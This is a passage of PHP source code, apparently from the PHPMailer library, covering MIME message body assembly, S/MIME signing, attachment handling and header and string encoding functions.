  2967. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2968. }
  2969. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2970. } else {
  2971. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2972. }
  2973. }
  2974.  
  2975. if ($this->Mailer != 'mail') {
  2976. $result .= $this->LE;
  2977. }
  2978.  
  2979. return $result;
  2980. }
  2981.  
  2982. /**
  2983. * Returns the whole MIME message.
  2984. * Includes complete headers and body.
  2985. * Only valid post preSend().
  2986. * @see PHPMailer::preSend()
  2987. * @access public
  2988. * @return string
  2989. */
  2990. public function getSentMIMEMessage()
  2991. {
  2992. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2993. }
  2994.  
  2995. /**
  2996. * Assemble the message body.
  2997. * Returns an empty string on failure.
  2998. * @access public
  2999. * @throws phpmailerException
  3000. * @return string The assembled message body
  3001. */
  3002. public function createBody()
  3003. {
  3004. $body = '';
  3005. //Create unique IDs and preset boundaries
  3006. $this->uniqueid = md5(uniqid(time()));
  3007. $this->boundary[1] = 'b1_' . $this->uniqueid;
  3008. $this->boundary[2] = 'b2_' . $this->uniqueid;
  3009. $this->boundary[3] = 'b3_' . $this->uniqueid;
  3010.  
  3011. if ($this->sign_key_file) {
  3012. $body .= $this->getMailMIME() . $this->LE;
  3013. }
  3014.  
  3015. $this->setWordWrap();
  3016.  
  3017. $bodyEncoding = $this->Encoding;
  3018. $bodyCharSet = $this->CharSet;
  3019. //Can we do a 7-bit downgrade?
  3020. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  3021. $bodyEncoding = '7bit';
  3022. $bodyCharSet = 'us-ascii';
  3023. }
  3024. //If lines are too long, and we're not already using an encoding that will shorten them,
  3025. //change to quoted-printable transfer encoding
  3026. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  3027. $this->Encoding = 'quoted-printable';
  3028. $bodyEncoding = 'quoted-printable';
  3029. }
  3030.  
  3031. $altBodyEncoding = $this->Encoding;
  3032. $altBodyCharSet = $this->CharSet;
  3033. //Can we do a 7-bit downgrade?
  3034. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  3035. $altBodyEncoding = '7bit';
  3036. $altBodyCharSet = 'us-ascii';
  3037. }
  3038. //If lines are too long, change to quoted-printable transfer encoding
  3039. if (self::hasLineLongerThanMax($this->AltBody)) {
  3040. $altBodyEncoding = 'quoted-printable';
  3041. }
  3042. //Use this as a preamble in all multipart message types
  3043. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  3044. switch ($this->message_type) {
  3045. case 'inline':
  3046. $body .= $mimepre;
  3047. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  3048. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3049. $body .= $this->LE . $this->LE;
  3050. $body .= $this->attachAll('inline', $this->boundary[1]);
  3051. break;
  3052. case 'attach':
  3053. $body .= $mimepre;
  3054. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  3055. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3056. $body .= $this->LE . $this->LE;
  3057. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3058. break;
  3059. case 'inline_attach':
  3060. $body .= $mimepre;
  3061. $body .= $this->textLine('--' . $this->boundary[1]);
  3062. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  3063. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3064. $body .= $this->LE;
  3065. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  3066. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3067. $body .= $this->LE . $this->LE;
  3068. $body .= $this->attachAll('inline', $this->boundary[2]);
  3069. $body .= $this->LE;
  3070. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3071. break;
  3072. case 'alt':
  3073. $body .= $mimepre;
  3074. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3075. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3076. $body .= $this->LE . $this->LE;
  3077. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  3078. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3079. $body .= $this->LE . $this->LE;
  3080. if (!empty($this->Ical)) {
  3081. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  3082. $body .= $this->encodeString($this->Ical, $this->Encoding);
  3083. $body .= $this->LE . $this->LE;
  3084. }
  3085. $body .= $this->endBoundary($this->boundary[1]);
  3086. break;
  3087. case 'alt_inline':
  3088. $body .= $mimepre;
  3089. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3090. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3091. $body .= $this->LE . $this->LE;
  3092. $body .= $this->textLine('--' . $this->boundary[1]);
  3093. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  3094. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3095. $body .= $this->LE;
  3096. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  3097. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3098. $body .= $this->LE . $this->LE;
  3099. $body .= $this->attachAll('inline', $this->boundary[2]);
  3100. $body .= $this->LE;
  3101. $body .= $this->endBoundary($this->boundary[1]);
  3102. break;
  3103. case 'alt_attach':
  3104. $body .= $mimepre;
  3105. $body .= $this->textLine('--' . $this->boundary[1]);
  3106. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  3107. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3108. $body .= $this->LE;
  3109. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3110. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3111. $body .= $this->LE . $this->LE;
  3112. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  3113. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3114. $body .= $this->LE . $this->LE;
  3115. $body .= $this->endBoundary($this->boundary[2]);
  3116. $body .= $this->LE;
  3117. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3118. break;
  3119. case 'alt_inline_attach':
  3120. $body .= $mimepre;
  3121. $body .= $this->textLine('--' . $this->boundary[1]);
  3122. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  3123. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3124. $body .= $this->LE;
  3125. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3126. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3127. $body .= $this->LE . $this->LE;
  3128. $body .= $this->textLine('--' . $this->boundary[2]);
  3129. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  3130. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  3131. $body .= $this->LE;
  3132. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  3133. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3134. $body .= $this->LE . $this->LE;
  3135. $body .= $this->attachAll('inline', $this->boundary[3]);
  3136. $body .= $this->LE;
  3137. $body .= $this->endBoundary($this->boundary[2]);
  3138. $body .= $this->LE;
  3139. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3140. break;
  3141. default:
  3142. // catch case 'plain' and case ''
  3143. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3144. break;
  3145. }
  3146.  
  3147. if ($this->isError()) {
  3148. $body = '';
  3149. } elseif ($this->sign_key_file) {
  3150. try {
  3151. if (!defined('PKCS7_TEXT')) {
  3152. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3153. }
  3154. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  3155. $file = tempnam(sys_get_temp_dir(), 'mail');
  3156. if (false === file_put_contents($file, $body)) {
  3157. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  3158. }
  3159. $signed = tempnam(sys_get_temp_dir(), 'signed');
  3160. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  3161. if (empty($this->sign_extracerts_file)) {
  3162. $sign = @openssl_pkcs7_sign(
  3163. $file,
  3164. $signed,
  3165. 'file://' . realpath($this->sign_cert_file),
  3166. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  3167. null
  3168. );
  3169. } else {
  3170. $sign = @openssl_pkcs7_sign(
  3171. $file,
  3172. $signed,
  3173. 'file://' . realpath($this->sign_cert_file),
  3174. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  3175. null,
  3176. PKCS7_DETACHED,
  3177. $this->sign_extracerts_file
  3178. );
  3179. }
  3180. if ($sign) {
  3181. @unlink($file);
  3182. $body = file_get_contents($signed);
  3183. @unlink($signed);
  3184. //The message returned by openssl contains both headers and body, so need to split them up
  3185. $parts = explode("\n\n", $body, 2);
  3186. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  3187. $body = $parts[1];
  3188. } else {
  3189. @unlink($file);
  3190. @unlink($signed);
  3191. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  3192. }
  3193. } catch (phpmailerException $exc) {
  3194. $body = '';
  3195. if ($this->exceptions) {
  3196. throw $exc;
  3197. }
  3198. }
  3199. }
  3200. return $body;
  3201. }
  3202.  
  3203. /**
  3204. * Return the start of a message boundary.
  3205. * @access protected
  3206. * @param string $boundary
  3207. * @param string $charSet
  3208. * @param string $contentType
  3209. * @param string $encoding
  3210. * @return string
  3211. */
  3212. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  3213. {
  3214. $result = '';
  3215. if ($charSet == '') {
  3216. $charSet = $this->CharSet;
  3217. }
  3218. if ($contentType == '') {
  3219. $contentType = $this->ContentType;
  3220. }
  3221. if ($encoding == '') {
  3222. $encoding = $this->Encoding;
  3223. }
  3224. $result .= $this->textLine('--' . $boundary);
  3225. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  3226. $result .= $this->LE;
  3227. // RFC1341 part 5 says 7bit is assumed if not specified
  3228. if ($encoding != '7bit') {
  3229. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  3230. }
  3231. $result .= $this->LE;
  3232.  
  3233. return $result;
  3234. }
  3235.  
  3236. /**
  3237. * Return the end of a message boundary.
  3238. * @access protected
  3239. * @param string $boundary
  3240. * @return string
  3241. */
  3242. protected function endBoundary($boundary)
  3243. {
  3244. return $this->LE . '--' . $boundary . '--' . $this->LE;
  3245. }
  3246.  
  3247. /**
  3248. * Set the message type.
  3249. * PHPMailer only supports some preset message types,
  3250. * not arbitrary MIME structures.
  3251. * @access protected
  3252. * @return void
  3253. */
  3254. protected function setMessageType()
  3255. {
  3256. $type = array();
  3257. if ($this->alternativeExists()) {
  3258. $type[] = 'alt';
  3259. }
  3260. if ($this->inlineImageExists()) {
  3261. $type[] = 'inline';
  3262. }
  3263. if ($this->attachmentExists()) {
  3264. $type[] = 'attach';
  3265. }
  3266. $this->message_type = implode('_', $type);
  3267. if ($this->message_type == '') {
  3268. $this->message_type = 'plain';
  3269. }
  3270. }
  3271.  
  3272. /**
  3273. * Format a header line.
  3274. * @access public
  3275. * @param string $name
  3276. * @param string $value
  3277. * @return string
  3278. */
  3279. public function headerLine($name, $value)
  3280. {
  3281. return $name . ': ' . $value . $this->LE;
  3282. }
  3283.  
  3284. /**
  3285. * Return a formatted mail line.
  3286. * @access public
  3287. * @param string $value
  3288. * @return string
  3289. */
  3290. public function textLine($value)
  3291. {
  3292. return $value . $this->LE;
  3293. }
  3294.  
  3295. /**
  3296. * Add an attachment from a path on the filesystem.
  3297. * Returns false if the file could not be found or read.
  3298. * @param string $path Path to the attachment.
  3299. * @param string $name Overrides the attachment name.
  3300. * @param string $encoding File encoding (see $Encoding).
  3301. * @param string $type File extension (MIME) type.
  3302. * @param string $disposition Disposition to use
  3303. * @throws phpmailerException
  3304. * @return boolean
  3305. */
  3306. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  3307. {
  3308. try {
  3309. if (!@is_file($path)) {
  3310. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  3311. }
  3312.  
  3313. // If a MIME type is not specified, try to work it out from the file name
  3314. if ($type == '') {
  3315. $type = self::filenameToType($path);
  3316. }
  3317.  
  3318. $filename = basename($path);
  3319. if ($name == '') {
  3320. $name = $filename;
  3321. }
  3322.  
  3323. $this->attachment[] = array(
  3324. 0 => $path,
  3325. 1 => $filename,
  3326. 2 => $name,
  3327. 3 => $encoding,
  3328. 4 => $type,
  3329. 5 => false, // isStringAttachment
  3330. 6 => $disposition,
  3331. 7 => 0
  3332. );
  3333.  
  3334. } catch (phpmailerException $exc) {
  3335. $this->setError($exc->getMessage());
  3336. $this->edebug($exc->getMessage());
  3337. if ($this->exceptions) {
  3338. throw $exc;
  3339. }
  3340. return false;
  3341. }
  3342. return true;
  3343. }
  3344.  
  3345. /**
  3346. * Return the array of attachments.
  3347. * @return array
  3348. */
  3349. public function getAttachments()
  3350. {
  3351. return $this->attachment;
  3352. }
  3353.  
  3354. /**
  3355. * Attach all file, string, and binary attachments to the message.
  3356. * Returns an empty string on failure.
  3357. * @access protected
  3358. * @param string $disposition_type
  3359. * @param string $boundary
  3360. * @return string
  3361. */
  3362. protected function attachAll($disposition_type, $boundary)
  3363. {
  3364. // Return text of body
  3365. $mime = array();
  3366. $cidUniq = array();
  3367. $incl = array();
  3368.  
  3369. // Add all attachments
  3370. foreach ($this->attachment as $attachment) {
  3371. // Check if it is a valid disposition_filter
  3372. if ($attachment[6] == $disposition_type) {
  3373. // Check for string attachment
  3374. $string = '';
  3375. $path = '';
  3376. $bString = $attachment[5];
  3377. if ($bString) {
  3378. $string = $attachment[0];
  3379. } else {
  3380. $path = $attachment[0];
  3381. }
  3382.  
  3383. $inclhash = md5(serialize($attachment));
  3384. if (in_array($inclhash, $incl)) {
  3385. continue;
  3386. }
  3387. $incl[] = $inclhash;
  3388. $name = $attachment[2];
  3389. $encoding = $attachment[3];
  3390. $type = $attachment[4];
  3391. $disposition = $attachment[6];
  3392. $cid = $attachment[7];
  3393. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  3394. continue;
  3395. }
  3396. $cidUniq[$cid] = true;
  3397.  
  3398. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  3399. $mime[] = sprintf(
  3400. 'Content-Type: %s; name="%s"%s',
  3401. $type,
  3402. $this->encodeHeader($this->secureHeader($name)),
  3403. $this->LE
  3404. );
  3405. // RFC1341 part 5 says 7bit is assumed if not specified
  3406. if ($encoding != '7bit') {
  3407. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  3408. }
  3409.  
  3410. if ($disposition == 'inline') {
  3411. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  3412. }
  3413.  
  3414. // If a filename contains any of these chars, it should be quoted,
  3415. // but not otherwise: RFC2183 & RFC2045 5.1
  3416. // Fixes a warning in IETF's msglint MIME checker
  3417. // Allow for bypassing the Content-Disposition header totally
  3418. if (!(empty($disposition))) {
  3419. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  3420. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  3421. $mime[] = sprintf(
  3422. 'Content-Disposition: %s; filename="%s"%s',
  3423. $disposition,
  3424. $encoded_name,
  3425. $this->LE . $this->LE
  3426. );
  3427. } else {
  3428. $mime[] = sprintf(
  3429. 'Content-Disposition: %s; filename=%s%s',
  3430. $disposition,
  3431. $encoded_name,
  3432. $this->LE . $this->LE
  3433. );
  3434. }
  3435. } else {
  3436. $mime[] = $this->LE;
  3437. }
  3438.  
  3439. // Encode as string attachment
  3440. if ($bString) {
  3441. $mime[] = $this->encodeString($string, $encoding);
  3442. if ($this->isError()) {
  3443. return '';
  3444. }
  3445. $mime[] = $this->LE . $this->LE;
  3446. } else {
  3447. $mime[] = $this->encodeFile($path, $encoding);
  3448. if ($this->isError()) {
  3449. return '';
  3450. }
  3451. $mime[] = $this->LE . $this->LE;
  3452. }
  3453. }
  3454. }
  3455.  
  3456. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  3457.  
  3458. return implode('', $mime);
  3459. }
  3460.  
  3461. /**
  3462. * Encode a file attachment in requested format.
  3463. * Returns an empty string on failure.
  3464. * @param string $path The full path to the file
  3465. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  3466. * @throws phpmailerException
  3467. * @see EncodeFile(encodeFile
  3468. * @access protected
  3469. * @return string
  3470. */
  3471. protected function encodeFile($path, $encoding = 'base64')
  3472. {
  3473. try {
  3474. if (!is_readable($path)) {
  3475. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  3476. }
  3477. $magic_quotes = get_magic_quotes_runtime();
  3478. if ($magic_quotes) {
  3479. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  3480. set_magic_quotes_runtime(false);
  3481. } else {
  3482. //Doesn't exist in PHP 5.4, but we don't need to check because
  3483. //get_magic_quotes_runtime always returns false in 5.4+
  3484. //so it will never get here
  3485. ini_set('magic_quotes_runtime', false);
  3486. }
  3487. }
  3488. $file_buffer = file_get_contents($path);
  3489. $file_buffer = $this->encodeString($file_buffer, $encoding);
  3490. if ($magic_quotes) {
  3491. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  3492. set_magic_quotes_runtime($magic_quotes);
  3493. } else {
  3494. ini_set('magic_quotes_runtime', $magic_quotes);
  3495. }
  3496. }
  3497. return $file_buffer;
  3498. } catch (Exception $exc) {
  3499. $this->setError($exc->getMessage());
  3500. return '';
  3501. }
  3502. }
  3503.  
  3504. /**
  3505. * Encode a string in requested format.
  3506. * Returns an empty string on failure.
  3507. * @param string $str The text to encode
  3508. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  3509. * @access public
  3510. * @return string
  3511. */
  3512. public function encodeString($str, $encoding = 'base64')
  3513. {
  3514. $encoded = '';
  3515. switch (strtolower($encoding)) {
  3516. case 'base64':
  3517. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  3518. break;
  3519. case '7bit':
  3520. case '8bit':
  3521. $encoded = $this->fixEOL($str);
  3522. // Make sure it ends with a line break
  3523. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  3524. $encoded .= $this->LE;
  3525. }
  3526. break;
  3527. case 'binary':
  3528. $encoded = $str;
  3529. break;
  3530. case 'quoted-printable':
  3531. $encoded = $this->encodeQP($str);
  3532. break;
  3533. default:
  3534. $this->setError($this->lang('encoding') . $encoding);
  3535. break;
  3536. }
  3537. return $encoded;
  3538. }
  3539.  
  3540. /**
  3541. * Encode a header string optimally.
  3542. * Picks shortest of Q, B, quoted-printable or none.
  3543. * @access public
  3544. * @param string $str
  3545. * @param string $position
  3546. * @return string
  3547. */
  3548. public function encodeHeader($str, $position = 'text')
  3549. {
  3550. $matchcount = 0;
  3551. switch (strtolower($position)) {
  3552. case 'phrase':
  3553. if (!preg_match('/[\200-\377]/', $str)) {
  3554. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  3555. $encoded = addcslashes($str, "\0..\37\177\\\"");
  3556. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  3557. return ($encoded);
  3558. } else {
  3559. return ("\"$encoded\"");
  3560. }
  3561. }
  3562. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  3563. break;
  3564. /** @noinspection PhpMissingBreakStatementInspection */
  3565. case 'comment':
  3566. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  3567. // Intentional fall-through
  3568. case 'text':
  3569. default:
  3570. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  3571. break;
  3572. }
  3573.  
  3574. //There are no chars that need encoding
  3575. if ($matchcount == 0) {
  3576. return ($str);
  3577. }
  3578.  
  3579. $maxlen = 75 - 7 - strlen($this->CharSet);
  3580. // Try to select the encoding which should produce the shortest output
  3581. if ($matchcount > strlen($str) / 3) {
  3582. // More than a third of the content will need encoding, so B encoding will be most efficient
  3583. $encoding = 'B';
  3584. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  3585. // Use a custom function which correctly encodes and wraps long
  3586. // multibyte strings without breaking lines within a character
  3587. $encoded = $this->base64EncodeWrapMB($str, "\n");
  3588. } else {
  3589. $encoded = base64_encode($str);
  3590. $maxlen -= $maxlen % 4;
  3591. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  3592. }
  3593. } else {
  3594. $encoding = 'Q';
  3595. $encoded = $this->encodeQ($str, $position);
  3596. $encoded = $this->wrapText($encoded, $maxlen, true);
  3597. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  3598. }
  3599.  
  3600. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  3601. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  3602.  
  3603. return $encoded;
  3604. }
  3605.  
  3606. /**
  3607. * Check if a string contains multi-byte characters.
  3608. * @access public
  3609. * @param string $str multi-byte text to wrap encode
  3610. * @return boolean
  3611. */
  3612. public function hasMultiBytes($str)
  3613. {
  3614. if (function_exists('mb_strlen')) {
  3615. return (strlen($str) > mb_strlen($str, $this->CharSet));
  3616. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  3617. return false;
  3618. }
  3619. }
  3620.  
  3621. /**
  3622. * Does a string contain any 8-bit chars (in any charset)?
  3623. * @param string $text
  3624. * @return boolean
  3625. */
  3626. public function has8bitChars($text)
  3627. {
  3628. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  3629. }
  3630.  
  3631. /**
  3632. * Encode and wrap long multibyte strings for mail headers
  3633. * without breaking lines within a character.
  3634. * Adapted from a function by paravoid
  3635. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  3636. * @access public
  3637. * @param string $str multi-byte text to wrap encode
  3638. * @param string $linebreak string to use as linefeed/end-of-line
  3639. * @return string
  3640. */
  3641. public function base64EncodeWrapMB($str, $linebreak = null)
  3642. {
  3643. $start = '=?' . $this->CharSet . '?B?';
  3644. $end = '?=';
  3645. $encoded = '';
  3646. if ($linebreak === null) {
  3647. $linebreak = $this->LE;
  3648. }
  3649.  
  3650. $mb_length = mb_strlen($str, $this->CharSet);
  3651. // Each line must have length <= 75, including $start and $end
  3652. $length = 75 - strlen($start) - strlen($end);
  3653. // Average multi-byte ratio
  3654. $ratio = $mb_length / strlen($str);
  3655. // Base64 has a 4:3 ratio
  3656. $avgLength = floor($length * $ratio * .75);
  3657.  
  3658. for ($i = 0; $i < $mb_length; $i += $offset) {
  3659. $lookBack = 0;
  3660. do {
  3661. $offset = $avgLength - $lookBack;
  3662. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  3663. $chunk = base64_encode($chunk);
  3664. $lookBack++;
  3665. } while (strlen($chunk) > $length);
  3666. $encoded .= $chunk . $linebreak;
  3667. }
  3668.  
  3669. // Chomp the last linefeed
  3670. $encoded = substr($encoded, 0, -strlen($linebreak));
  3671. return $encoded;
  3672. }
  3673.  
  3674. /**
  3675. * Encode a string in quoted-printable format.
  3676. * According to RFC2045 section 6.7.
  3677. * @access public
  3678. * @param string $string The text to encode
  3679. * @param integer $line_max Number of chars allowed on a line before wrapping
  3680. * @return string
  3681. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  3682. */
  3683. public function encodeQP($string, $line_max = 76)
  3684. {
  3685. // Use native function if it's available (>= PHP5.3)
  3686. if (function_exists('quoted_printable_encode')) {
  3687. return $this->fixEOL(quoted_printable_encode($string));
  3688. }
  3689. // Fall back to a pure PHP implementation
  3690. $string = str_replace(
  3691. array('%20', '%0D%0A.', '%0D%0A', '%'),
  3692. array(' ', "\r\n=2E", "\r\n", '='),
  3693. rawurlencode($string)
  3694. );
  3695. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  3696. return $this->fixEOL($string);
  3697. }
  3698.  
  3699. /**
  3700. * Backward compatibility wrapper for an old QP encoding function that was removed.
  3701. * @see PHPMailer::encodeQP()
  3702. * @access public
  3703. * @param string $string
  3704. * @param integer $line_max
  3705. * @param boolean $space_conv
  3706. * @return string
  3707. * @deprecated Use encodeQP instead.
  3708. */
  3709. public function encodeQPphp(
  3710. $string,
  3711. $line_max = 76,
  3712. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  3713. ) {
  3714. return $this->encodeQP($string, $line_max);
  3715. }
  3716.  
  3717. /**
  3718. * Encode a string using Q encoding.
  3719. * @link http://tools.ietf.org/html/rfc2047
  3720. * @param string $str the text to encode
  3721. * @param string $position Where the text is going to be used, see the RFC for what that means
  3722. * @access public
  3723. * @return string
  3724. */
  3725. public function encodeQ($str, $position = 'text')
  3726. {
  3727. // There should not be any EOL in the string
  3728. $pattern = '';
  3729. $encoded = str_replace(array("\r", "\n"), '', $str);
  3730. switch (strtolower($position)) {
  3731. case 'phrase':
  3732. // RFC 2047 section 5.3
  3733. $pattern = '^A-Za-z0-9!*+\/ -';
  3734. break;
  3735. /** @noinspection PhpMissingBreakStatementInspection */
  3736. case 'comment':
  3737. // RFC 2047 section 5.2
  3738. $pattern = '\(\)"';
  3739. // intentional fall-through
  3740. // for this reason we build the $pattern without including delimiters and []
  3741. case 'text':
  3742. default:
  3743. // RFC 2047 section 5.1
  3744. // Replace every high ascii, control, =, ? and _ characters
  3745. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  3746. break;
  3747. }
  3748. $matches = array();
  3749. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  3750. // If the string contains an '=', make sure it's the first thing we replace
  3751. // so as to avoid double-encoding
  3752. $eqkey = array_search('=', $matches[0]);
  3753. if (false !== $eqkey) {
  3754. unset($matches[0][$eqkey]);
  3755. array_unshift($matches[0], '=');
  3756. }
  3757. foreach (array_unique($matches[0]) as $char) {
  3758. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  3759. }
  3760. }
  3761. // Replace every spaces to _ (more readable than =20)
  3762. return str_replace(' ', '_', $encoded);
  3763. }
  3764.  
  3765.  
  3766. /**
  3767. * Add a string or binary attachment (non-filesystem).
  3768. * This method can be used to attach ascii or binary data,
  3769. * such as a BLOB record from a database.
  3770. * @param string $string String attachment data.
  3771. * @param string $filename Name of the attachment.
  3772. * @param string $encoding File encoding (see $Encoding).
  3773. * @param string $type File extension (MIME) type.
  3774. * @param string $disposition Disposition to use
  3775. * @return void
  3776. */
  3777. public function addStringAttachment(
  3778. $string,
  3779. $filename,
  3780. $encoding = 'base64',
  3781. $type = '',
  3782. $disposition = 'attachment'
  3783. ) {
  3784. // If a MIME type is not specified, try to work it out from the file name
  3785. if ($type == '') {
  3786. $type = self::filenameToType($filename);
  3787. }
  3788. // Append to $attachment array
  3789. $this->attachment[] = array(
  3790. 0 => $string,
  3791. 1 => $filename,
  3792. 2 => basename($filename),
  3793. 3 => $encoding,
  3794. 4 => $type,
  3795. 5 => true, // isStringAttachment
  3796. 6 => $disposition,
  3797. 7 => 0
  3798. );
  3799. }
  3800.  
  3801. /**
  3802. * Add an embedded (inline) attachment from a file.
  3803. * This can include images, sounds, and just about any other document type.
  3804. * These differ from 'regular' attachments in that they are intended to be
  3805. * displayed inline with the message, not just attached for download.
  3806. * This is used in HTML messages that embed the images
  3807. * the HTML refers to using the $cid value.
  3808. * @param string $path Path to the attachment.
  3809. * @param string $cid Content ID of the attachment; Use this to reference
  3810. * the content when using an embedded image in HTML.
  3811. * @param string $name Overrides the attachment name.
  3812. * @param string $encoding File encoding (see $Encoding).
  3813. * @param string $type File MIME type.
  3814. * @param string $disposition Disposition to use
  3815. * @return boolean True on successfully adding an attachment
  3816. */
  3817. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3818. {
  3819. if (!@is_file($path)) {
  3820. $this->setError($this->lang('file_access') . $path);
  3821. return false;
  3822. }
  3823.  
  3824. // If a MIME type is not specified, try to work it out from the file name
  3825. if ($type == '') {
  3826. $type = self::filenameToType($path);
  3827. }
  3828.  
  3829. $filename = basename($path);
  3830. if ($name == '') {
  3831. $name = $filename;
  3832. }
  3833.  
  3834. // Append to $attachment array
  3835. $this->attachment[] = array(
  3836. 0 => $path,
  3837. 1 => $filename,
  3838. 2 => $name,
  3839. 3 => $encoding,
  3840. 4 => $type,
  3841. 5 => false, // isStringAttachment
  3842. 6 => $disposition,
  3843. 7 => $cid
  3844. );
  3845. return true;
  3846. }
  3847.  
  3848. /**
  3849. * Add an embedded stringified attachment.
  3850. * This can include images, sounds, and just about any other document type.
  3851. * Be sure to set the $type to an image type for images:
  3852. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3853. * @param string $string The attachment binary data.
  3854. * @param string $cid Content ID of the attachment; Use this to reference
  3855. * the content when using an embedded image in HTML.
  3856. * @param string $name
  3857. * @param string $encoding File encoding (see $Encoding).
  3858. * @param string $type MIME type.
  3859. * @param string $disposition Disposition to use
  3860. * @return boolean True on successfully adding an attachment
  3861. */
  3862. public function addStringEmbeddedImage(
  3863. $string,
